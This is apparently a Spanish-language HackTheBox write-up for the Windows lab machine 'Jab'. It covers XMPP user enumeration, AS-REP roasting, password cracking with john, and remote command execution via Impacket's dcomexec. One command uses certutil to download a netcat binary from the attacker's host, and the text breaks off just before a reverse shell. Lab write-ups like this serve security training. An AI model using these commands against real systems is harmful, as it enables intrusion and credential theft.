Jab – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
Jab
es una máquina Windows
de dificultad media de la plataforma HackTheBox
. Luego de un escaneo inicial de puertos, notamos que la máquina está corriendo el servicio Jabber
, un servicio de mensajería basado en XMPP
. Somos capaces de crear un nuevo usuario dentro de este servicio de mensajería y somos capaces de extraer una lista de potenciales usuarios dentro de éste. Performamos entonces un ataque AS-REP Roasting
contra estos usuarios, de los cuales somos capaces de extraer el hash de 3 de ellos. Intentamos crackear la contraseña de estos usuarios por medio de fuerza bruta y encontramos credenciales válidas para 1 de estos 3 usuarios. Con este usuario, somos capaces de entrar nuevamente al servicio Jabber
, pero esta vez somos capaces de leer nuevos chats. Dentro de estos nuevos chats, hay uno que muestra unas credenciales filtradas para un nuevo usuario. Dado que el servicio Microsoft RPC
estaba corriendo, intuimos que éste podría estar usando el protocolo Distributed Component Object Model
(DCOM
). Usando estos servicios somos capaces de lograr un Remote Code Execution
(ejecución remota de comandos) usando la herramienta dcomexec.py
de Impacket
, ganando acceso a la máquina. Una vez dentro, somos capaces de detectar un servicio llamado Openfire
-usado para administrar el servicio Jabber
- el cual estaba corriendo y tenía un puerto interno expuesto. Usamos Chisel
para lograr un Remote Port Forwarding
y lograr tener acceso a este puerto interno gestionando el servicio Openfire
. Revisando el puerto interno a través de un nevegador de internet, somos capaces de ver la versión de este servicio y notamos que éste es vulnerable contra CVE-2023-32315. Usando esta vulnerabilidad, somos capaces de ejecutar comandos de sistema, ganando acceso como el usuario nt authority/system
; comprometiendo completamente la máquina víctima.
User / Usuario Link to heading
Empezando con un scan de Nmap
éste nos muestra múltiples puertos abiertos: 53
Domain Name System
(DNS
), 88
Kerberos
, 135
Microsoft RPC
, 389
Lightweight Directory Access Protocol
(LDAP
), 445
Server Message Block
(SMB
), 5222
un servicio “jabber” (cuyo nombre es similar al nombre de la máquina, de manera que esto es una pista), 5985
Windows Remote Management
(WinRM
); entre otros.
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5222,5223,5262,5263,5269,5270,5275,5276,5985,7070,7443,7777,9389,47001,49664,49665,49666,49668,49673,49674,49675,49676,49681,49781,59518 10.10.11.4 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 12:33 -04
Nmap scan report for 10.10.11.4
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-22 16:33:22Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-05-22T16:34:48+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after: 2024-10-31T20:16:18
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after: 2024-10-31T20:16:18
|_ssl-date: 2024-05-22T16:34:46+00:00; -2s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after: 2024-10-31T20:16:18
|_ssl-date: 2024-05-22T16:34:46+00:00; -3s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-05-22T16:34:46+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after: 2024-10-31T20:16:18
5222/tcp open jabber
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after: 2028-10-24T22:00:12
| xmpp-info:
| STARTTLS Failed
| info:
| stream_id: 3ymit1490a
| unknown:
| compression_methods:
| errors:
| invalid-namespace
| (timeout)
| features:
| xmpp:
| version: 1.0
| auth_mechanisms:
|_ capabilities:
| fingerprint-strings:
| RPCCheck:
|_ <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
|_ssl-date: TLS randomness does not represent time
5223/tcp open ssl/jabber
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after: 2028-10-24T22:00:12
| fingerprint-strings:
| RPCCheck:
|_ <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
|_ssl-date: TLS randomness does not represent time
| xmpp-info:
| STARTTLS Failed
| info:
| features:
| compression_methods:
| unknown:
| errors:
| (timeout)
| xmpp:
| auth_mechanisms:
|_ capabilities:
5262/tcp open jabber
| xmpp-info:
| STARTTLS Failed
| info:
| stream_id: 2ty0cdr8t2
| unknown:
| compression_methods:
| errors:
| invalid-namespace
| (timeout)
| features:
| xmpp:
| version: 1.0
| auth_mechanisms:
|_ capabilities:
| fingerprint-strings:
| RPCCheck:
|_ <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5263/tcp open ssl/jabber
| xmpp-info:
| STARTTLS Failed
| info:
| features:
| compression_methods:
| unknown:
| errors:
| (timeout)
| xmpp:
| auth_mechanisms:
|_ capabilities:
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after: 2028-10-24T22:00:12
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| RPCCheck:
|_ <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5269/tcp open xmpp Wildfire XMPP Client
| xmpp-info:
| STARTTLS Failed
| info:
| features:
| compression_methods:
| unknown:
| errors:
| (timeout)
| xmpp:
| auth_mechanisms:
|_ capabilities:
5270/tcp open ssl/xmpp Wildfire XMPP Client
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after: 2028-10-24T22:00:12
|_ssl-date: TLS randomness does not represent time
5275/tcp open jabber
| xmpp-info:
| STARTTLS Failed
| info:
| stream_id: 2pupc1vplb
| unknown:
| compression_methods:
| errors:
| invalid-namespace
| (timeout)
| features:
| xmpp:
| version: 1.0
| auth_mechanisms:
|_ capabilities:
| fingerprint-strings:
| RPCCheck:
|_ <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5276/tcp open ssl/jabber
|_ssl-date: TLS randomness does not represent time
| xmpp-info:
| STARTTLS Failed
| info:
| features:
| compression_methods:
| unknown:
| errors:
| (timeout)
| xmpp:
| auth_mechanisms:
|_ capabilities:
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after: 2028-10-24T22:00:12
| fingerprint-strings:
| RPCCheck:
|_ <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7070/tcp open realserver?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP:
| HTTP/1.1 400 Illegal character CNTL=0x0
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
| GetRequest:
| HTTP/1.1 200 OK
| Date: Wed, 22 May 2024 16:33:22 GMT
| Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
| Content-Type: text/html
| Accept-Ranges: bytes
| Content-Length: 223
| <html>
| <head><title>Openfire HTTP Binding Service</title></head>
| <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
| </html>
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Wed, 22 May 2024 16:33:28 GMT
| Allow: GET,HEAD,POST,OPTIONS
| Help:
| HTTP/1.1 400 No URI
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 49
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: No URI</pre>
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| SSLSessionReq:
| HTTP/1.1 400 Illegal character CNTL=0x16
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 70
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre>
7443/tcp open ssl/oracleas-https?
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after: 2028-10-24T22:00:12
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP:
| HTTP/1.1 400 Illegal character CNTL=0x0
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
| GetRequest:
| HTTP/1.1 200 OK
| Date: Wed, 22 May 2024 16:33:35 GMT
| Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
| Content-Type: text/html
| Accept-Ranges: bytes
| Content-Length: 223
| <html>
| <head><title>Openfire HTTP Binding Service</title></head>
| <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
| </html>
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Wed, 22 May 2024 16:33:42 GMT
| Allow: GET,HEAD,POST,OPTIONS
| Help:
| HTTP/1.1 400 No URI
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 49
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: No URI</pre>
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| SSLSessionReq:
| HTTP/1.1 400 Illegal character CNTL=0x16
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 70
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre>
|_ssl-date: TLS randomness does not represent time
7777/tcp open socks5 (No authentication; connection not allowed by ruleset)
| socks-auth-info:
|_ No authentication
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49781/tcp open msrpc Microsoft Windows RPC
59518/tcp open msrpc Microsoft Windows RPC
8 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
<SNIP>
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2s, deviation: 0s, median: -2s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-05-22T16:34:39
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.45 seconds
Buscando en internet por what is jabber
nos muestra esta página web. En corto:
XMPP
and has been continuously offered for free since 1999.De manera que, básicamente, este es un servicio para mensajería.
Buscando cómo puedo interactuar con XMPP
en nuestra máquina de atacante, encuentro esta página. Para esto, necesitamos instalar una herramienta llamada Pidgin
. Podemos instalarla corriendo:
❯ sudo apt --fix-broken install
❯ sudo apt update -y
❯ sudo apt install pidgin -y --fix-missing
Una vez instalada podemos iniciar el software corriendo el comando pidgin
:
❯ pidgin
donde se nos abre una nueva ventana:
Antes de añadir un nuevo usuario, necesitamos un dominio. Para esto uso NetExec
y reviso el servicio SMB
:
❯ netexec smb 10.10.11.4
SMB 10.10.11.4 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
donde puedo ver un dominio: jab.htb
.
Agrego este nuevo dominio a mi archivo /etc/hosts
:
❯ echo '10.10.11.4 jab.htb' | sudo tee -a /etc/hosts
Devuelta a Pidgin
, clickeamos en Add
, y relleno la ventana con algunos datos. Aquí la parte importante es, en la pestaña Basic
, seleccionar el protocolo XMPP
, y dejar seleccionada la opción Create this new account on the server
, poner el dominio jab.htb
y agregar un usuario con su respectiva contraseña.
y luego, en la pestaña Advanced
, agregamos la IP del servicio:
Luego de clickear en Add
tenemos una advertencia acerca del certificado SSL
. Lo aceptamos y continuamos.
Luego tenemos una ventana la cual nos pregunta por credenciales. En User
y Full name
simplemente pongo mi nombre gunzf0x
; como email pongo gunzf0x@jab.htb
y proveo la contraseña. Una vez hecho, tenemos una ventana que dice Buddy List
, como se muestra a continuación:
En la parte superior izquierda podemos ver las opciones Buddies -> Join a Chat -> Room List -> Find Rooms
y podemos ver algunos chats:
test
y test2
son los chats disponibles. Clickeo en uno de los chats y luego clickeo en Join
. El chat test
no funciona, pero el chat test2
sí. De aquí podemos ver:
donde soy capaz de ver un texto que parece encodeado en base64
.
No obstante, decodearlo no muestra mucho:
❯ echo 'VGhlIGltYWdlIGRhdGEgZ29lcyBoZXJlCg==' | base64 -d
The image data goes here
Luego de algunas búsquedas, noto que podemos buscar por usuarios. Para esto podemos volver a la parte de Buddy List
, luego ir a Accounts
, poner el mouse en nuestra cuenta y clickear en Search for Users
. Esto desplegará una nueva ventana la cual realizará una búsqueda en el dominio search.jab.htb
y, finalmente, clickeo en Search Directory
. Esto desplegará una nueva ventana que dirá “Advanced Search” donde simplemente buscamos por *
(básicamente, buscamos por lo que sea) y clickeamos en Ok
:
Luego de algunos segundos obtengo una nueva ventana la cual muestra todos los usuarios:
Son muchísimos, y guardarlos uno por uno no es una opción para mí. Decido entonces buscar cómo guardar el output de Pidgin
en un archivo, y encuentro documentación oficial explicando cómo usarlo para debugging. De manera que cierro mi sesión y ventana actual con Pidgin
, y la vuelvo a abrir, pero esta vez corriendo el comando:
❯ pidgin --debug |& tee debug.log
para guardar todo el output en un archivo llamado debug.log
Luego, repito todos los pasos previamente realizados para obtener los usuarios (incluyendo el logueo, abrir los chats, y luego buscar por usuarios hasta que aparezca la ventana que los muestra). Luego de ello, simplemente cerramos la ventana de Pidgin
y tenemos algunas líneas de output en nuestro archivo. Algunas líneas muestran un output como:
❯ cat debug.log | grep "jab.htb"
<SNIP>
(16:21:49) jabber: Recv (ssl)(4082): ld var="jid"><value>rgilbert@jab.htb</value></field><field var="Username"><value>rgilbert</value></field><field var="Name"><value>Richard Gilbert</value></field><field var="Email"><value>rgilbert@jab.htb</value></field></item><item><field var="jid"><value>cobando@jab.htb</value></field><field var="Username"><value>cobando</value></field><field var="Name"><value>Charlie Obando</value></field><field var="Email"><value>cobando@jab.htb</value></field></item><item><field var="jid"><value>jsegundo@jab.htb</value></field><field var="Username"><value>jsegundo</value></field><field var="Name"><value>Jessica Segundo</value></field><field var="Email"><value>jsegundo@jab.htb</value></field></item><item><field var="jid"><value>fford@jab.htb</value></field><field var="Username"><value>fford</value></field><field var="Name"><value>Frank Ford</value></field><field var="Email"><value>fford@jab.htb</value></field></item><item><field var="jid"><value>vpoland@jab.htb</value></field><field var="Username"><value>vpoland</value></field><field var="Name"><value>Violet Poland</value></field><field var="Email"><value>vpoland@jab.htb</value></field></item><item><field var="jid"><value>astucky@jab.htb</value></field><field var="Username"><value>astucky</value></field><field var="Name"><value>Antonio Stucky</value></field><field var="Email"><value>astucky@jab.htb</value></field></item><item><field var="jid"><value>jsims@jab.htb</value></field><field var="Username"><value>jsims</value></field><field var="Name"><value>Jason Sims</value></field><field var="Email"><value>jsims@jab.htb</value></field></item><item><field var="jid"><value>fsullivan@jab.htb</value></field><field var="Username"><value>fsullivan</value></field><field var="Name"><value>Fred Sullivan</value></field><field var="Email"><value>fsullivan@jab.htb</value></field></item><item><field var="jid"><value>ktaylor@jab.htb</value></field><field var="Username"><value>ktaylor</value></field><field var="Name"><value>Kathy Taylor</value></field><field var="Email"><value>ktaylor@jab.htb</value></field></item><item><field var="jid"><value>vhanson@jab.htb</value></field><field var="Username"><value>vhanson</value></field><field var="Name"><value>Vicky Hanson</value></field><field var="Email"><value>vhanson@jab.htb</value></field></item><item><field var="jid"><value>rtuttle@jab.htb</value></field><field var="Username"><value>rtuttle</value></field><field var="Name"><value>Renee Tuttle</value></field><field var="Email"><value>rtuttle@jab.htb</value></field></item><item><field var="jid"><value>hrobichaux@jab.htb</value></field><field var="Username"><value>hrobichaux</value></field><field var="Name"><value>Helen Robichaux</value></field><field var="Email"><value>hrobichaux@jab.htb</value></field></item><item><field var="jid"><value>scamp@jab.htb</value></field><field var="Username"><value>scamp</value></field><field var="Name"><value>Shawn Camp</value></field><field var="Email"><value>scamp@jab.htb</value></field></item><item><field var="jid"><value>lcampbell@jab.htb</value></field><field var="Username"><value>lcampbell</value></field><field var="Name"><value>Luis Campbell</value></field><field var="Email"><value>lcampbell@jab.htb</value></field></item><item><field var="jid"><value>kanderson@jab.htb</value></field><field var="Username"><value>kanderson</value></field><field var="Name"><value>Kathrine Anderson</value></field><field var="Email"><value>kanderson@jab.htb</value></field></item><item><field var="jid"><value>kclark@jab.htb</value></field><field var="Username"><value>kclark</value></field><field var="Name"><value>Kristen Clark</value></field><field var="Email"><value>kclark@jab.htb</value></field></item><item><field var="jid"><value>hbundy@jab.htb</value></field><field var="Username"><value>hbundy</value></field><field var="Name"><value>Harold Bundy</value></field><field var="Email"><value>hbundy@jab.htb</value></field></item><item><field var="jid"><value>kconnally@jab.htb</value></field><field var="Username"><value>kconnally</value></field><field var="Name"><value>Kristen Connall
Podemos usar expresiones regulares junto con grep
para obtener los nombres de las cuentas y guardarlas en un nuevo archivo llamado users.txt
:
❯ grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' debug.log | sed 's/@jab.htb//g' | sort -u > users.txt
Ahora podemos tratar de performar un ataque de AS-REP Roasting
contra estos usuarios usando la herramienta GetNPUsers.py
de Impacket
:
❯ python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py jab.htb/ -usersfile users.txt -no-pass -format john -dc-ip 10.10.11.4 -outputfile hashes_getNPUsers
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[-] User aaaron doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User aallen doesn't have UF_DONT_REQUIRE_PREAUTH set
<SNIP>
Luego de que la tarea termina, tenemos hashes para 3 usuarios diferentes:
❯ cat hashes_getNPUsers
$krb5asrep$jmontgomery@JAB.HTB:20b36f25e794697e955c3b36f39ca428$ad65a0ca4c5c5ca35aa2999eaa71c11496528ef18230c3a3db0f8017b54f7d6e7fcba7323faf80f7786cfd6fc99ef963eda01608477ee50d9844bc010f866d6cb83c6e1e2841ce6583c8cd90c2f6b180be5d4ad7f40bd751277a91d95327d0536108d4b6d84edaf4b4383138bc7418ecbc7b991fcbf9900cc08200efc043abe86d75c83bc2bdacf7a62aa9fe4df0db801d1d73b0177db303a3d5cabd053e194b0fe5d4a28c6b8ae85ce50c9f6c68721d54c989dc98791505707066c0c97afa2c9b074a4152ba4ee4339fff499394722a1cc4f23b56742e30c059492ee3b63f650fc4
$krb5asrep$lbradford@JAB.HTB:ae09761fba20b3aaf8a9dfdd2eeeb8a8$9fd7aeb9913883bc3875f5a527386cbb546cf548612fce72e2a6c4d8df31d87b31013965226125008edd44b2b94db75e4cbb2fab6e92e70d4f5a646ee7d7249476433eebd801aa3b7e89c19c9ac26fe4313af6ab519ba4e66b498b33a15cb1704ddb2c5e1f2d42bc94f9cc498279cf85956058867029c3d7166fd7dde730daa968975d4190537ef3c2a5027a6415d232dd5dabaa63ca4a08b2dc6fb0749fb9439b6d29e8e8f940e14bf0fe1aab17307e54e88e6f2ee8ff5bd14759ee03aa8bd1995319bba9a9917290b9b3735d2566b132ad57b54e8ce9a8b727a5640c4288f20101
$krb5asrep$mlowe@JAB.HTB:6eee03d5d34f4457100fc8452f81e85d$a76a718226c25796d970d3696d9128d1862c9b2e54506b162a86291616de87ed4471b354f711e484fca635c1069b3fc2664003f79f9791ee53534adb13025638727cd8d1b9360f9e461d1b2dd149739286ad035a79d0e18c48c0531759ea5adfb9e48061891ae6f3d47e0f2ca602b8cc79925328f338a72dec6dbc087fbfcc8ef333e6ef6a6e11dcd9c54484b03a23ece6a0ef88569bb5dbd029efd51c1019f39a69e3e904c4c17012359dd5970705ed1c5386ead6c911458357bb7266524eaeae9b7b2d6de4c75937a4370c68368c3fc767b6ab48c85b87c8f73b903147b585de3a
Tratamos un Brute Force Password Cracking
(tratar de crackear las contraseñas por medio de fuerza bruta) con john
contra estos hashes y hallamos:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_getNPUsers
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Midnight_121 ($krb5asrep$jmontgomery@JAB.HTB)
1g 0:00:00:23 DONE (2024-05-22 18:49) 0.04284g/s 614556p/s 1692Kc/s 1692KC/s 0841079575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
donde hemos encontrado credenciales: jmontgomery:Midnight_121
Ahora, decido revisar si estas credenciales funcionan en otros servicios tales como SMB
con NetExec
; y funcionan, pero no veo información interesante:
❯ netexec smb 10.10.11.4 -u 'jmontgomery' -p 'Midnight_121' --shares
SMB 10.10.11.4 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.4 445 DC01 [+] jab.htb\jmontgomery:Midnight_121
SMB 10.10.11.4 445 DC01 [*] Enumerated shares
SMB 10.10.11.4 445 DC01 Share Permissions Remark
SMB 10.10.11.4 445 DC01 ----- ----------- ------
SMB 10.10.11.4 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.4 445 DC01 C$ Default share
SMB 10.10.11.4 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.4 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.4 445 DC01 SYSVOL READ Logon server share
y tampoco tenemos acceso via Windows Remote Management
(WinRM
):
❯ netexec winrm 10.10.11.4 -u 'jmontgomery' -p 'Midnight_121'
WINRM 10.10.11.4 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:jab.htb)
WINRM 10.10.11.4 5985 DC01 [-] jab.htb\jmontgomery:Midnight_121
En este punto, similar a como agregamos nuestro usuario usando Pidgin
, agrego al usuario con las credenciales halladas. La única diferencia es que no selecciono Create this new account on the server
. Simplemente proveo las credenciales halladas.
Una vez agregado, voy a Accounts -> Manage Accounts
, selecciono la cuenta jmontgomery
, paso las credenciales y logueo con este usuario. Si esto no funciona, luego de agregar y seleccionar el usuario, podemos ir a Buddies -> Quit
, y luego Pidgin
nos preguntará por la contraseña para el usuario jmontgomery
. Pasamos la contraseña hallada:
Ahora, similar a como hicimos anteriormente, trateremos de hallar chats. Vamos a Buddies -> Join a Chat -> Room List -> Find Rooms
. Ahora puedo ver una nueva “room” llamada pentest2003
. La selecciono y clickeo en Join
:
Tenemos un nuevo chat:
En este chat se habla acerca de un problema de seguridad que hubo en el pasado, el cual debería de estar parcheado. Levemente diferente a como lo hicimos, ellos usan la herramienta GetUserSPNs.py
. Ellos son capaces de encontrar el hash para el usuario svc_openfire
, y lograron encontrar una contraseña: !@#$%^&*(1qazxsw
De nuevo, estas credenciales funcionan via SMB
:
❯ netexec smb 10.10.11.4 -u 'svc_openfire' -p '!@#$%^&*(1qazxsw'
SMB 10.10.11.4 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.4 445 DC01 [+] jab.htb\svc_openfire:!@#$%^&*(1qazxsw
pero no muestran información importante.
En este punto debemos de recordar que uno de los puertos abiertos era 135
Microsoft RPC
. Éste podría estar corriendo el protocolo Distributed Component Object Model
(DCOM
):
Component Object Model
(DCOM
) is a protocol that enables software components to communicate directly over a network. Previously named “Network OLE,” DCOM
is designed for use across multiple network transports, including Internet protocols such as HTTP
.Tal cual se explica en HackTricks, si tenemos Microsoft RPC
corriendo junto con el protocolo DCOM
, quizás seamos capaces de ejecutar comandos. Primero, reviso si tenemos acceso a través de Microsoft RPC
con rpcclient
:
❯ rpcclient -U 'svc_openfire%!@#$%^&*(1qazxsw' 10.10.11.4 -c 'getusername'
Account Name: svc_openfire, Authority Name: JAB
y tenemos acceso.
Ahora utilizaremos la herramienta dcomexec.py
de Impacket
para tratar de ejecutar comandos. Basados en recomendaciones de HackTricks, vale la pena probar con todos los “objetos” de DCOM
(ShellWindows
, ShellBrowserWindow
, y MMC20
). En mi caso, MMC20
funcionó. Lo que haré será mandarme un ping
desde la máquina víctima a mi máquina de atacante, dado que esto significará que somos capaces de ejecutar comandos. Primero, me pongo en escucha con tcpdump
:
❯ sudo tcpdump -ni tun0 icmp
Luego, trato de ejecutar el comando cmd.exe /c ping -n 1 10.10.16.2
, donde 10.10.16.2
es mi IP de atacante:
❯ python3 /usr/share/doc/python3-impacket/examples/dcomexec.py -object 'MMC20' jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'C:\Windows\System32\cmd.exe /c ping -n 1 10.10.16.2' -silentcommand
aquí recomiendo fuertemente la flag -silentcommand
para evadir el output del comando (o puede que este tome un largo tiempo en ejecutarse).
Obtengo algo en mi listener:
❯ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:44:36.520454 IP 10.10.11.4 > 10.10.16.2: ICMP echo request, id 1, seq 882, length 40
19:44:36.520466 IP 10.10.16.2 > 10.10.11.4: ICMP echo reply, id 1, seq 882, length 40
de manera que hemos alcanzado un Remote Code Execution
(ejecución remota de comandos).
Pasaré un binario de netcat
para Windows
a la máquina víctima. Para ello empiezo un servidor temporal HTTP
en Python
en el puerto 8080
:
❯ ls && python3 -m http.server 8080
nc64.exe
Luego (y tras varios intentos), me descargo el binario de netcat
en la ruta C:\Users\svc_openfire\Downloads
con la herramienta certutil
:
❯ python3 /usr/share/doc/python3-impacket/examples/dcomexec.py -object 'MMC20' jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'C:\Windows\System32\cmd.exe /c certutil.exe -urlcache -split -f http://10.10.16.2:8080/nc64.exe C:\Users\svc_openfire\Downloads\nc.exe' -silentcommand
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
Empiezo un listener en el puerto 443
con netcat
, y luego corro el binario de netcat
previamente transferido para enviarme una reverse shell:
